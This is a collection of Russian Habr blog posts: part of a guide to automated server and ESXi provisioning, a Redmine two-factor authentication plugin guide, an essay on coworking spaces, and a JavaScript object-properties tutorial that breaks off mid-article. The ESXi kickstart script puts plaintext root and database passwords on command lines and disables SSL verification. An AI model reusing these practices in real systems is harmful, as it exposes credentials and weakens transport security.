чтобы ответить на наш вопрос, нужно сначала решить: каким образом передавать настройки в инсталл-сервер. На первых порах вполне можно обойтись текстовыми файлами. (В будущем можно использовать текстовый файл как резервный способ передачи настроек). Можно «расшарить» текстовый файл на инсталл-сервере. И добавить его монтирование в скрипт mount.sh. Строки будут, например, такого вида: <серийный номер> <имя хоста> <подсеть> Эти строки будут передаваться в файл инженером с его рабочей машины. И далее при настройке сервера параметры для конкретного сервера будут прочитаны из файла. Но, в перспективе, лучше, задействовать БД для хранения настроек, состояний и журналов инсталляций серверов. Конечно, одной БД не обойтись, и потребуется создать клиентскую часть, с помощью которой будут передаваться настройки в базу. Реализовать это сложнее, по сравнению с текстовым файлом, но, на самом деле, все не так трудно, как кажется. Минимальную версию клиента, который будет просто передавать данные в БД, вполне посильно написать самому. А улучшать клиентскую программу в дальнейшем можно будет и в свободном режиме (отчеты, печать этикеток, отправка уведомлений и прочее, что придет в голову). Сделав определенный запрос в базу и указав серийный номер сервера, получим необходимые параметры для настройки сервера. Плюс, нам не потребуется придумывать блокировки для одновременного доступа, как в случае с текстовым файлом. Журнал настройки можем на всех этапах писать в БД и процесс установки контролировать через события и флаги этапов подготовки. **Теперь мы знаем, как: * загружать сервер по PXE; * передавать управление нашему скрипту; * идентифицировать сервер, который нужно подготовить, по серийному номеру; * конфигуририровать сервер соответствующими утилитами; * передавать настройки в БД инсталл-сервера с помощью клиентской части. Выяснили, каким образом: * инсталлируемый сервер получает необходимые настройки из БД; * весь прогресс подготовки фиксируется в БД (логи, события, флаги этапов).** ### Что насчет разных типов устанавливаемого ПО? Как установить гипервизор, скопировать ВМ и настроить все это? В случае развертывания образа файловой системы (linux) на железо все довольно просто: * После настройки всех компонентов сервера, развертываем образ. * Устанавливаем загрузчик grub. * Делаем chroot и настраиваем все что необходимо. **Как передать управление установщику ОС (на примере ESXi).** * Организуем передачу управления из нашего скрипта установщику гипервизора по файлу автоответов (kickstart): * Удаляем текущие разделы на диске. * Создаем раздел размером 500MB. * Помечаем его как загрузочный. * Форматируем в FAT32. * Копируем на него в корень установочные файлы ESXi. * Устанавливаем syslinux. * Копируем syslinux.cfg в /syslinux/ ``` default esxi prompt 1 timeout 50 label esxi kernel mboot.c32 append -c boot.cfg ``` * Копируем mboot.c32 в /syslinux. * В boot.cfg должно быть kernelopt=ks=ftp:///ks\_esxi.cfg * Перезагружаем сервер. После перезагрузки сервера с его жесткого диска загрузится установщик ESXi. Все необходимые файлы установщика загрузятся в память и далее начнется установка ESXi, согласно указанному файлу автоответов. Приведу здесь несколько строк из файла автоответов ks\_esxi.cfg: ``` %firstboot --interpreter=busybox … # получаем серийный номер SYSSN=$(esxcli hardware platform get | grep Serial | awk -F " " '{print $3}') # получаем IP IPADDRT=$(esxcli network ip interface ipv4 get | grep vmk0 | awk -F " " '{print $2}') LAST_OCTET=$(echo $IPADDRT | awk -F'.' '{print $4}') # подключаем NFS инсталл-сервера esxcli storage nfs add -H is -s /srv/nfs_share -v nfsshare1 # копируем временные настройки ssh, для использования ssh-клиента mv /etc/ssh /etc/ssh.tmp cp -R /vmfs/volumes/nfsshare1/ssh /etc/ chmod go-r /etc/ssh/ssh_host_rsa_key # копируем ovftool, для развертывания ВМ сейчас, плюс возможно пригодится позже cp -R /vmfs/volumes/nfsshare1/ovftool /vmfs/volumes/datastore1/ # развертываем ВМ /vmfs/volumes/datastore1/ovftool/tools/ovftool --acceptAllEulas --noSSLVerify --datastore=datastore1 --name=VM1 /vmfs/volumes/nfsshare1/VM_T/VM1.ova vi://root:esxi_password@127.0.0.1 /vmfs/volumes/datastore1/ovftool/tools/ovftool --acceptAllEulas --noSSLVerify --datastore=datastore1 --name=VM2 /vmfs/volumes/nfsshare1/VM_T/VM2.ova vi://root:esxi_password@127.0.0.1 # получаем строку с настройками нашего сервера ssh root@is "mysql -h'192.168.0.1' -D'servers' -u'user' -p'secretpassword' -e \"SELECT ... WHERE servers.serial='$SYSSN'\"" | grep -v ^$ | sed 's/NULL//g' > /tmp/servers ... # генерируем скрипт настройки сети echo '#!/bin/sh' > /vmfs/volumes/datastore1/netconf.sh echo "esxcli network ip interface ipv4 set -i=vmk0 -t=static --ipv4=$IPADDR --netmask=$S_SUB || exit 1" >> /vmfs/volumes/datastore1/netconf.sh echo "esxcli network ip route ipv4 add -g=$S_GW -n=default || exit 1" >> /vmfs/volumes/datastore1/netconf.sh chmod a+x /vmfs/volumes/datastore1/netconf.sh # задаем параметр guestinfo.esxihost.id, указываем в нем серийный номер echo "guestinfo.esxihost.id = \"$SYSSN\"" >> /vmfs/volumes/datastore1/VM1/VM1.vmx echo "guestinfo.esxihost.id = \"$SYSSN\"" >> /vmfs/volumes/datastore1/VM2/VM2.vmx ... # обновляем информацию в базе SYSNAME=$(esxcli hardware platform get | grep Product | sed 's/Product Name://' | sed 's/^\ *//') UUID=$(vim-cmd hostsvc/hostsummary | grep uuid | sed 's/\ //g;s/,$//' | sed 's/^uuid="//;s/"$//') ssh root@is "mysql -D'servers' -u'user' -p'secretpassword' -e \"UPDATE servers ... SET ... WHERE servers.serial='$SYSSN'\"" ssh root@is "mysql -D'servers' -u'user' -p'secretpassword' -e \"INSERT INTO events ...\"" # возвращаем настройки SSH rm -rf /etc/ssh mv /etc/ssh.tmp /etc/ssh # настраиваем сеть и перезагружаемся esxcli system hostname set --fqdn=esx-${G_NICK}.x5.ru /vmfs/volumes/datastore1/netconf.sh reboot ``` На этом этапе установлен и настроен гипервизор, скопированы виртуальные машины. Как теперь настроить виртуальные машины? Мы немного схитрили: во время установки задали параметр guestinfo.esxihost.id = "$SYSSN" в файле VM1.vmx, указали в нем серийный номер физического сервера. Теперь после старта виртуальная машина (с установленным пакетом vmware-tools) может получить доступ к этому параметру: ``` ESXI_SN=$(vmtoolsd --cmd "info-get guestinfo.esxihost.id") ``` То есть ВМ сумеет идентифицировать себя (она знает серийный номер физического хоста), сделать запрос к БД инсталл-сервера и получить параметры, которые нужно настроить. Это все оформляется в скрипт, который должен быть запущен автоматом при старте guestos vm (но однажды: RunOnce). **Теперь мы знаем, как: * загружать сервер по PXE; * передавать управление нашему скрипту; * идентифицировать сервер, который нужно подготовить, по серийному номеру; * конфигурировать сервер соответствующими утилитами; * передавать настройки в БД инсталл-сервера с помощью клиентской части; * настраивать различные типы П.О., в том числе развертывывать гипервизор esxi и настраивать виртуальные машины (и все автоматически). Выяснили, каким образом: * инсталлируемый сервер получает необходимые настройки из БД; * весь прогресс подготовки фиксируется в БД (логи, события, флаги этапов).** **Итог:** Полагаю, уникальность данного решения в гибкости, простоте, его возможностях и универсальности. Напишите, пожалуйста, в комментариях, что вы думаете.
https://habr.com/ru/post/493124/
null
ru
null
# Двухфакторная аутентификация в Redmine С давних пор для второго шага аутентификации мы использовали одноразовые пароли отправляемые через СМС. Такой функционал появился в Redmine в 2013, когда мы разработали плагин [redmine\_sms\_auth](https://github.com/centosadmin/redmine_sms_auth). Об этом мы писали в [давней статье](https://habrahabr.ru/company/centosadmin/blog/178073/). Но время не стоит на месте. Мы активно внедряем Telegram в бизнес-процессы компании ([раз](https://habrahabr.ru/company/centosadmin/blog/272051/), [два](https://habrahabr.ru/company/centosadmin/blog/303490/), [три](https://habrahabr.ru/company/centosadmin/blog/281044/)). В связи с этим решили сделать аутентификацию через Telegram в Redmine. Заодно с этим переписать старый плагин про СМС и добавить поддержку Google Authenticator. [![](https://habrastorage.org/r/w1560/files/293/a65/77a/293a6577a7d94267886b8c6c5d949dc8.png)](https://habrahabr.ru/company/centosadmin/blog/312656/) Далее мы расскажем о том как установить, настроить и использовать этот плагин. Установка ========= Заходим в папку с плагинами `cd plugins` Клонируем репозиторий `git clone https://github.com/centosadmin/redmine_2fa.git` Переходим в корень Redmine `cd ..` Устанавливаем нужные гемы `bundle install` Выполняем миграции `rake redmine:plugins:migrate` Дополняем конфиг `config/configuration.yml` ``` # specific configuration options for production environment # that overrides the default ones production: redmine_2fa: sms_command: 'echo %{phone} %{password}' ``` в `sms_command` впишите системную команду, которой будут отправляться сообщения. Такой подход используется для совместимости с большинством API СМС-шлюзов. Скорее всего в вашем случае будет что-то вроде `/usr/bin/curl "https://sms.ru/api/send?phone=%{phone}&message=code: %{password}"` Перезапускаем Redmine. Настройка ========= Предварительные требования -------------------------- Так как [веб-хуки](https://tlgrm.ru/docs/bots/api#setwebhook) от Telegram отправляются только на HTTPS адреса, ваш Redmine должен быть настроен на использование этого протокола. Обязательное использование -------------------------- По-умолчанию отключено, чтоб после установки плагина вы могли выбрать “не использовать” и войти в Redmine. Но лучше включить, дабы случайные прохожие, узнавшие пароль одного из пользователей не смогли войти в систему. ![](https://habrastorage.org/r/w1560/files/3b5/7f6/d35/3b57f6d358ec43c1808a0692664ff4e6.png) Настройка Telegram ------------------ Для аутентификации через Telegram нужно завести отдельного бота. Бота создаём с помощью [@BotFather](https://telegram.me/botfather). [Инструкция по созданию бота](https://tlgrm.ru/docs/bots#3-how-do-i-create-a-bot). ![](https://habrastorage.org/r/w1560/files/fa4/153/afd/fa4153afd297462aa91be21256c2388d.png) Полученный от него ключ вводим в настройки и нажимаем **Применить**. ### Инициализация бота После того как токен сохранён, нужно инициализировать бота. ![](https://habrastorage.org/r/w1560/files/cba/8c9/b0e/cba8c9b0ec4d41fd8d0855792dbef6dc.png) При инициализации в систему будет загружено имя бота, чтоб показать ссылку на него на шаге инициализации. Также будет установлен веб-хук — адрес на который будут приходить запросы от API в случае, если кто-то напишет боту. В прежних плагинах мы использовали бото-процессы, так как там большой входящий трафик. Тут же решили исключить лишний элемент из системы. **Важно!** При смене токена нужно Инициализировать бота ещё раз. ### Деактивация бота Данная функция пригодится если * вы решите использовать этого бота где-то ещё * по каким-то причинам вам нужно перейти на другого бота. ![](https://habrastorage.org/r/w1560/files/fa4/153/afd/fa4153afd297462aa91be21256c2388d.png) В процессе деактивации сбрасывается токен и деактивируются все пользователи, использующие плагин. При следующем входе в систему им нужно будет добавить себе в контакты нового бота. **Важно!** Не забудьте активировать бота, когда введёте и сохраните новый токен. А как это со стороны пользователя? ================================== Первый вход ----------- При первом входе пользователь может выбрать один из способов аутентификации либо отказаться от использования второго фактора. ![](https://habrastorage.org/r/w1560/files/0bc/e3b/965/0bce3b965ac84b7da245aeac3f07fb50.png) Отказаться он сможет только в том случае, если вы разрешили это в настройках плагина. Telegram -------- ![](https://habrastorage.org/r/w1560/files/9a8/691/da5/9a8691da56ff4d5e950beb8fbaa783df.png) После команды **/start** бот сохранит в Redmine ваш аккаунт Telegram и предложит связать его с вашим аккаунтом в Redmine ![](https://habrastorage.org/r/w1560/files/6dd/039/fe8/6dd039fe8bc8488fa864acdbdaca30bf.png) Вводим предложенную команду ![](https://habrastorage.org/r/w1560/files/dd7/995/f8b/dd7995f8be6b428b912a696cfd22ef52.png) И получаем на почту письмо ![](https://habrastorage.org/r/w1560/files/a0b/fd7/5c6/a0bfd75c63884b518da59192958be459.png) При переходе по ссылке увидим сообщение ![](https://habrastorage.org/r/w1560/files/56d/339/bbd/56d339bbd82044d28a51566fba9024a6.png) и форму логина. Нужно ввести логин и пароль ещё раз. После чего увидим форму ввода одноразового пароля ![](https://habrastorage.org/r/w1560/files/eaf/449/801/eaf449801632463989067efcd3791e62.png) и получим заветный код от бота ![](https://habrastorage.org/r/w1560/files/016/711/882/0167118825af40b2b2a00bc768992f7d.png) Настройка Telegram — самая сложная. Но ради удобства в использовании минуту потратить не жалко. Google Auth ----------- Аутентификация через гугл настраивается проще всего. Сосканируйте QR-код в приложении и нажмите “Далее”. ![](https://habrastorage.org/r/w1560/files/fb5/763/41b/fb576341b55f4805b660e0f26f37adfb.png) SMS --- Для получение кодов через СМС нужно сперва подтвердить номер телефона, на который вы будете получать СМС с одноразовыми паролями. ![](https://habrastorage.org/files/912/ce3/09d/912ce309d95c4ca2b2904835f5b72680.gif) Миграция со старого плагина --------------------------- Если вы пользовались нашим старым [плагином](https://github.com/centosadmin/redmine_sms_auth), то лучше перейти с него на [новый](https://github.com/centosadmin/redmine_2fa). Подробная инструкция о переходе доступна [здесь](https://github.com/centosadmin/redmine_2fa/blob/master/README.ru.md#%D0%9C%D0%B8%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F-%D1%81-%D0%BF%D0%BB%D0%B0%D0%B3%D0%B8%D0%BD%D0%B0-redmine_sms_auth). Сброс настроек 2FA ------------------ Может случиться что пользователь захочет сменить способ аутентификации. На его странице есть специальная ссылка для этого. ![](https://habrastorage.org/r/w1560/files/880/7e2/7e8/8807e27e88234445a4ed1791a09278f5.png) После сброса настроек при следующем логине пользователю будет предложено выбрать способ аутентификации. Что дальше? =========== Теперь вы знаете как добавить двухфакторную аутентификацию в Redmine. Самое время применить полученные знания на практике. На вопросы о плагине готовы ответить в комментариях к этой публикации. Запросы о расширении функционала и баг-репорты принимаются здесь же, а также в [тикетах репозитория](https://github.com/centosadmin/redmine_2fa/issues).
https://habr.com/ru/post/312656/
null
ru
null
# Преимущества коворкинга, обсуждение #### Предисловие В данной статье я хочу поделиться своим видением преимуществ и недостатков коворкинг-центров, которые все еще набирают популярность в России. Некоторые из них стали особенно успешны и окупили затраты менее, чем за полгода, другие закрылись, не начав приносить достойной прибыли, третьи просто существуют, у них срок окупаемости больше полутора лет, а четвертые только собираются открываться. Сама идея в мире не нова, хотя ей и меньше 10 лет. Но она существует в различных ипостасях, и многие жители IT-сферы еще не используют возможности, которые представляет коворкинг. Цель статьи – собрать лучшие качества коворкинг-центров в одном месте, указать на их недостатки и предложить материал в работу четвертой группе (тем, что открываются), в частности новому коворкинг-центру близ останкинской башни, открытие которого запланировано на начало 2014 года (я сам его жду, т.к. живу рядом). #### Для тех кто не знает Тема коворкинга – это тема совместной работы, она подразумевает не совсем работу в одной команде, но, по крайней мере, работу в одном помещении, в одной атмосфере. И атмосфера эта должна быть рабочей, именно этим коворкинг ценен больше всего, сюда приходят люди, которые хотят поработать где-то, но не дома (по разным причинам), а собственный офис снимать не хотят. #### Разные варианты одного и того же? Есть куча умных слов, как то: [коворкинг](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B2%D0%BE%D1%80%D0%BA%D0%B8%D0%BD%D0%B3), [антикафе, тайм-кафе, тайм-клуб](http://ru.wikipedia.org/wiki/%D0%90%D0%BD%D1%82%D0%B8%D0%BA%D0%B0%D1%84%D0%B5) и пр., все это публичные «заведения» социальной направленности (так говорит Википедия), есть даже реальные кафе, и все это люди приспосабливают для использования под свои нужны. И если в Макдональдсе борются с предпринимателями, убирая розетки, то перечисленные в списке «заведения» специально предназначены для работы/общения самых разных людей. Между ними есть как много схожего, так и различия. В двух словах можно описать примерно так. Коворкинг зачастую позиционируется именно для работы, а печенье, кофе и пр. относится к бонусам, это не основное. Антикафе (оно же тайм-кафе или тайм-клуб) предназначено для общения, а в общении напитки и закуски имеют бОльшую важность (хотя это и не главное в идее). И хотя в обоих местах можно как работать, так и общаться, акцент делается разный, и комфорт в нужном виде деятельности получается тоже разный. Теме статьи ближе именно коворкинг, поэтому дальше на нем и сосредоточимся. #### А почему не офис Очень кратко стоит упомянуть про древнюю альтернативу, которая по сей день работает – аренду офиса. У данного варианта есть преимущества, и никакой коворкинг-центр полноценного офиса заменить не может, но так ли важен собственный офис для фрилансера, дизайнера, начинающего предпринимателя и любого участника малочисленной команды (2-3) человека? Если вы работаете на себя или с другом/партнером, то снимать офис это: * высокая арендная плата каждый месяц; * вложения в ремонт, мебель и оборудование; * хлопоты по сопровождению офиса (гигиена, коммуникации и т.д.). Если вы не готовы снимать офис, а работать где-то надо, то коворкинг-центр – вполне неплохой вариант. Он будет вашим офисом без лишних обязательств. #### Мое идеальное рабочее место Конечно, первым вопросом, которым следует задаться интересуясь темой (например, читая эту статью) – «зачем это мне?». Если положительный ответ найден, то можно приступить к «а что именно я хочу?». Что хотелось бы мне видеть в коворкинг-центре: 1. низкие цены (я найду куда еще потратить деньги); 2. удобное рабочее место (нормальный стол, стул, освещение, принтер, интернет, достаточное количество личного пространства); 3. тихое рабочее место (чаще всего я хочу сосредоточиться на том, что делаю); 4. фиксированное рабочее место (каждый раз бегать и искать свободное ни к чему); 5. доступная переговорная (личная беседа или совещание с командой случаются каждый день, лишние уши или шум не нужны); 6. место для отдыха или прогулки (периодически надо отвлекаться от напряженной работы); 7. чайник (или кулер/кофемашина/микроволновка); 8. санузел (желательно чистый); 9. ящик для хранения вещей (канцелярию и другие принадлежности не будешь носить с собой); 10. удобное расположение (доступность разными видами транспорта важнее двух минут пешком после ощущения себя селедкой). Перечисленное выше – мой минимальный набор требований. Зачастую в openspace вариантах все пункты не выполняются одновременно, но можно получить 9 из 10, закрыв глаза на один (высокую цену или шумность обстановки). Дополнительно есть и другие услуги, например (дальше расскажу почему сквозная нумерация): 11. обучающие семинары; 12. дополнительный IP-телефон; 13. душ; 14. столовая/кафе; 15. личная страница на сайте; 16. развлекательные программы; 17. круглосуточный доступ в помещение; 18. боксерская груша (шучу, но было бы здорово). Все эти дополнения добавляют интересности месту. И, конечно же, не стоит забывать про атмосферу, это дополнительная функция (на мой взгляд), которая делает место более привлекательным. Именно в этой атмосфере можно познакомиться с интересными людьми, с которыми можно дальше работать вместе на партнерских основаниях. Теперь о сквозной нумерации: ниже в комментариях есть возможность, выделив ваше личное время, добавить свое мнение структурировано и по пунктам и далее обсуждать его. Формат предлагается следующий: `[<№ пункта> <нужность в баллах от 0 до 10> (<комментарий>)]`. Любые мнения интересно было бы обсудить. #### Как выбрать свой центр Для того, чтобы выбрать свое идеальное рабочее место, надо четко понять, чем вы хотите там заниматься. Есть много вариантов, основные: работа, общение, тусовка (первые два мы уже рассмотрели). Если для вас важны все три составляющие, тогда вопрос цены (п.1) отходит на второй план, такие центры есть, они находятся по слову «коворкинг» в поисковике на первой странице. Но если для вас важна по большей части работа, при этом вопрос цены фактически влияет на выбор офиса или места в коворкинг-центре, то выбор не очень велик (по крайней мере для столицы). Ежемесячная стоимость места в основных коворкинг-центрах больше стоимости маленького офиса на два рабочих места (если хорошо поискать), и при прочих затратах примерно уравнивается в масштабе полугода. В этом случае однозначного рецепта нет, конечный выбор будет зависеть от специфики работы и личных предпочтений. #### Недостатки коворкинг-центров Среди многих преимуществ затесались и недостатки, которые так или иначе заставляют обратить на себя внимание: 1. фоновый шум; 2. низкая безопасность; 3. куча отвлекающих событий. Эти недостатки зачастую определяются форматом openspace, когда в одном помещении собрано слишком много незнакомого народу. К сожалению (моему личному), сейчас не распространен коворкинг в формате старых добрых офисов, где звукоизоляцию осуществляют реальные стены. Дань моде и стремление идти в ногу со временем иногда избавляют нас от использования положительного опыта предков. #### Современность и удобство офиса Слово «современный» в отношении офиса в последнее время можно все чаще ассоциировать со словом «модный», но не «уютный/удобный». Почему, постараюсь объяснить на небольшом примере. Не так давно я был в новых немецких офисах в Нагатинской пойме. Там отличные современные офисные помещения (это новейшие, а не переоборудованные старые здания), но первое впечатление развеялось, как только я представил, как провожу там свой рабочий день. После этого все желание работать в таком «современном» офисе пропало напрочь. Что же было не так? Представьте себе аквариум, не тот в котором рыбки плавают, а тот, в котором сидят сотрудники. Тема старая, изъезженная, и наверняка у многих, проходящих мимо таких, возникало неприятное ощущение, когда на вас то и дело оборачиваются сотрудники с видом «чего смотришь». Это не доставляет комфорта и самим сотрудникам, которые все время находятся «под присмотром» проходящих мимо людей. Мода меняется, и в новых зданиях уже практически нет аквариумов, но зато есть большие помещения, в которых напихано по 20 человек, а в качестве перегородок (если они есть) используются шкафы или что-нибудь еще лучше пропускающее звук. Внутри ничего не изменилось, но поменялось окружение. На несколько таких помещений появилась кухня. Само по себе это хорошо, можно выйти, налить себе чашечку кофе, сесть за стол и перекусить. Но исполнение всего в лучших современных традициях приводит к тому, что даже во время перекуса на тебя то и дело смотрят все проходящие мимо. И не просто так. Взгляд цепляет кухня, находящаяся в аквариуме, самое неуютное место для еды, которое можно себе представить, особенно учитывая оснащенность таких помещений камерами видеонаблюдения. Вернувшись с перекуса, мы опять попадаем в «общежитие», в котором ты знаешь 5-6 человек из 20, но все 20 слышат твои разговоры, видят все, что ты делаешь, и создают общий шумовой фон (а ты их соучастник). Это не может доставлять неудобства только в случае, если ты в наушниках уперся в монитор и весь день из него не вылазишь. Но если ты хочешь своего неприкосновенного пространства, сам совершаешь много звонков, проводишь больше 2-х бесед с сотрудниками в день и т.д., то данный вариант очень сложно назвать уютным. В последнее время почти все коворкинг-центры представляют большой openspace, условно разделенный на зоны. Этот подход близок к современному офису, там модная мебель, хорошие материалы отделки и куча общего пространства. Но при этом минимум личного пространства. Будучи посетителем пары Московских коворкинг-центров я с удивлением ловил себя на мысли, как будто нахожусь в некурящей зоне кафе, в которой все-равно пахнет дымом (а тут шумом). #### И что в итоге В итоге, тема трендовая и удачная, воплощается она тоже хорошо. Если закрыть глаза на несколько малоприятных моментов, то рабочее место в коворкинг-центре – то, что нужно, когда вы рассматриваете вариант не только для работы. В моем случае, когда есть сработанная команда, и личное пространство имеет высокую ценность, стоит еще подождать, а пока пользоваться обычной арендой офиса. Есть надежда, что в ближайшее время начнут появляться новые коворкинг-центры, которые, надеюсь, учтут пожелания мои и ваши. Теперь же предлагаю помочь собрать ценную информацию в виде полезных идей и мнений. Чего сейчас не хватает в коворкинг-центрах вам?
https://habr.com/ru/post/200052/
null
ru
null
# Продвинутое использование объектов в JavaScript Этот пост выходит за рамки повседневного использования объектов в JavaScript. Основы работы с объектами по большей части так же просты, как использование JSON-нотации. Тем не менее, JavaScript дает возможность использовать тонкий инструментарий, с помощью которого можно создавать объекты некоторыми интересными и полезными способами и который теперь доступен в последних версиях современных браузеров. Последние два вопроса, которые будут затронуты — `Proxy` и `Symbol` относятся к спецификации ECMAScript 6, реализованы частично и внедрены только в некоторых из современных браузеров. #### Геттеры и сеттеры Геттеры и сеттеры уже некоторое время доступны в JavaScript, однако я не замечал за собой, чтобы мне приходилось их часто использовать. Зачастую я пишу обычные функции для получения свойств, нечто вроде этого: ``` /** * @param {string} prefix * @constructor */ function Product(prefix) { /** * @private * @type {string} */ this.prefix_ = prefix; /** * @private * @type {string} */ this.type_ = ""; } /** * @param {string} newType */ Product.prototype.setType = function (newType) { this.type_ = newType; }; /** * @return {string} */ Product.prototype.type = function () { return this.prefix_ + ": " + this.type_; } var product = new Product("fruit"); product.setType("apple"); console.log(product.type()); //logs fruit: apple ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/26/) Используя геттер можно упростить этот код. ``` /** * @param {string} prefix * @constructor */ function Product(prefix) { /** * @private * @type {number} */ this.prefix_ = prefix; /** * @private * @type {string} */ this.type_ = ""; } /** * @param {string} newType */ Product.prototype = { /** * @return {string} */ get type () { return this.prefix_ + ": " + this.type_; }, /** * @param {string} */ set type (newType) { this.type_ = newType; } }; var product = new Product("fruit"); product.type = "apple"; console.log(product.type); //logs "fruit: apple" console.log(product.type = "orange"); //logs "orange" console.log(product.type); //logs "fruit: orange" ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/3/) Код остается немного избыточным, а синтаксис — немного непривычным, однако преимущества применения `get` и `set` становятся более явными во время их прямого использования. Я для себя нашел, что: ``` product.type = "apple"; console.log(product.type); ``` гораздо более читаемо, чем: ``` product.setType("apple"); console.log(product.type()); ``` хотя моя встроенная сигнализация плохого JavaScript до сих пор срабатывает, когда я вижу прямое обращение и задание свойств экземплярам объекта. За долгое время я был научен багами и техническими требованиями избегать произвольного задания свойств экземплярам класса, так как это непременно приводит к тому, что информация распространяется между ими всеми. Также есть некоторый нюанс в том, в каком порядке возвращаются устанавливаемые значения, обратите внимание на пример ниже. ``` console.log(product.type = "orange"); //logs "orange" console.log(product.type); //logs "fruit: orange" ``` Обратите внимание, что сначала в консоль выводится `“orange”` и только потом `“fruit: orange”`. Геттер не выполняется в то время как возвращается устанавливаемое значение, так что при такой форме сокращенной записи можно наткнуться на неприятности. Возвращаемые при помощи `set` значения игнорируются. Добавление `return this.type;` к `set` не решает этой проблемы. Обычно это решается повторным использованием заданного значения, но могут возникнуть проблемы со свойством, имеющим геттер. #### defineProperty Синтаксис `get propertyname ()` работает с литералами объектов и в предыдущем примере я назначил литерал объекта `Product.prototype`. В этом нет ничего плохого, но использование литералов вроде этого усложняет цепочку вызова прототипов для реализации наследования. Существует возможность определения геттеров и сеттеров в прототипе без использования литералов — при помощи `defineProperty` ``` /** * @param {string} prefix * @constructor */ function Product(prefix) { /** * @private * @type {number} */ this.prefix_ = prefix; /** * @private * @type {string} */ this.type_ = ""; } /** * @param {string} newType */ Object.defineProperty(Product.prototype, "type", { /** * @return {string} */ get: function () { return this.prefix_ + ": " + this.type_; }, /** * @param {string} */ set: function (newType) { this.type_ = newType; } }); ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/4/) Поведение этого кода такое же как и в предыдущем примере. Вместо добавления геттеров и сеттеров, предпочтение отдается `defineProperty`. Третьим аргументом в `defineProperty` передается дескриптор и в дополнение к `set` и `get` он дает возможность настроить доступность и установить значение. При помощи `defineProperty` можно создать нечто вроде константы — свойства, которое никогда не будет удалено или переопределено. ``` var obj = { foo: "bar", }; //A normal object property console.log(obj.foo); //logs "bar" obj.foo = "foobar"; console.log(obj.foo); //logs "foobar" delete obj.foo; console.log(obj.foo); //logs undefined Object.defineProperty(obj, "foo", { value: "bar", }); console.log(obj.foo); //logs "bar", we were able to modify foo obj.foo = "foobar"; console.log(obj.foo); //logs "bar", write failed silently delete obj.foo; console.log(obj.foo); //logs bar, delete failed silently ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/46/) Результат: ``` bar foobar undefined bar bar bar ``` Две последние попытки переопределить `foo.bar` в примере завершились неудачей (пусть и не были прерваны сообщением об ошибке), так как это поведение `defineProperty` по умолчанию — запрещать изменения. Чтобы изменить такое поведение, можно использовать ключи `configurable` и `writable`. Если вы используете строгий режим, ошибки будут брошены, так как являются обычными ошибками JavaScript. ``` var obj = {}; Object.defineProperty(obj, "foo", { value: "bar", configurable: true, writable: true, }); console.log(obj.foo); //logs "bar" obj.foo = "foobar"; console.log(obj.foo); //logs "foobar" delete obj.foo; console.log(obj.foo); //logs undefined ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/47/) Ключ `configurable` позволяет предотвратить удаление свойства из объекта. Кроме того, он дает возможность предотвратить последующее изменение свойства при помощи другого вызова `defineProperty`. Ключ `writable` дает возможность записать в свойство или изменять его значение. Если `configurable` установлен в `false` (как и есть по умолчанию), попытки вызова `defineProperty` во второй раз приведут к тому, что будет брошена ошибка. ``` var obj = {}; Object.defineProperty(obj, "foo", { value: "bar", }); Object.defineProperty(obj, "foo", { value: "foobar", }); // Uncaught TypeError: Cannot redefine property: foo ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/11/) Если `configurable` установлен в `true`, то можно изменять свойство в будущем. Это можно использовать для того, чтобы изменять значение незаписываемого свойства. ``` var obj = {}; Object.defineProperty(obj, "foo", { value: "bar", configurable: true, }); obj.foo = "foobar"; console.log(obj.foo); // logs "bar", write failed Object.defineProperty(obj, "foo", { value: "foobar", configurable: true, }); console.log(obj.foo); // logs "foobar" ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/12/) Также необходимо обратить внимание на то, что значения, определенные при помощи `defineProperty` не итерируются в цикле `for in` ``` var i, inventory; inventory = { "apples": 10, "oranges": 13, }; Object.defineProperty(inventory, "strawberries", { value: 3, }); for (i in inventory) { console.log(i, inventory[i]); } ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/13/) ``` apples 10 oranges 13 ``` Чтобы позволить это, необходимо использовать свойство `enumerable` ``` var i, inventory; inventory = { "apples": 10, "oranges": 13, }; Object.defineProperty(inventory, "strawberries", { value: 3, enumerable: true, }); for (i in inventory) { console.log(i, inventory[i]); } ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/14/) ``` apples 10 oranges 13 strawberries 3 ``` Для проверки того, появится ли свойство в цикле `for in` можно использовать `isPropertyEnumerable` ``` var i, inventory; inventory = { "apples": 10, "oranges": 13, }; Object.defineProperty(inventory, "strawberries", { value: 3, }); console.log(inventory.propertyIsEnumerable("apples")); //console logs true console.log(inventory.propertyIsEnumerable("strawberries")); //console logs false ``` [jsfiddle](http://jsfiddle.net/btipling/mohb4fx2/21/) Вызов `propertyIsEnumerable` также вернет `false` для свойств, определенных выше по цепочке прототипов, или для свойств, не определенных любым другим способом для этого объекта, что, впрочем, очевидно. И ещё несколько слов напоследок об использовании `defineProperty`: будет ошибкой совмещать методы доступа `set` и `get` с `writable: true` или комбинировать их с `value`. Определение свойства при помощи числа приведет это число к строке, как было бы при любых других обстоятельствах. Вы также можете использовать `defineProperty` чтобы определить `value` как функцию. #### defineProperties Существует также и `defineProperties`. Этот метод позволяет определить несколько свойств за один раз. Мне попадался на глаза jsperf, сравнивающий использование `defineProperties` с `defineProperty` и, по крайней мере в Хроме, особой разницы в том, какой из методов использовать, не было. ``` var foo = {} Object.defineProperties(foo, { bar: { value: "foo", writable: true, }, foo: { value: function() { console.log(this.bar); } }, }); foo.bar = "foobar"; foo.foo(); //logs "foobar" ``` [jsfiddle](http://jsfiddle.net/btipling/rxopg5qe/1/) #### Object.create `Object.create` это альтернатива `new`, дающему возможность создать объект с определенным прототипом. Эта функция принимает два аргумента: первый это прототип, из которого вы хотите создать объект, а второй — тот же дескриптор, который используется при вызове `Object.defineProperties` ``` var prototypeDef = { protoBar: "protoBar", protoLog: function () { console.log(this.protoBar); } }; var propertiesDef = { instanceBar: { value: "instanceBar" }, instanceLog: { value: function () { console.log(this.instanceBar); } } } var foo = Object.create(prototypeDef, propertiesDef); foo.protoLog(); //logs "protoBar" foo.instanceLog(); //logs "instanceBar" ``` 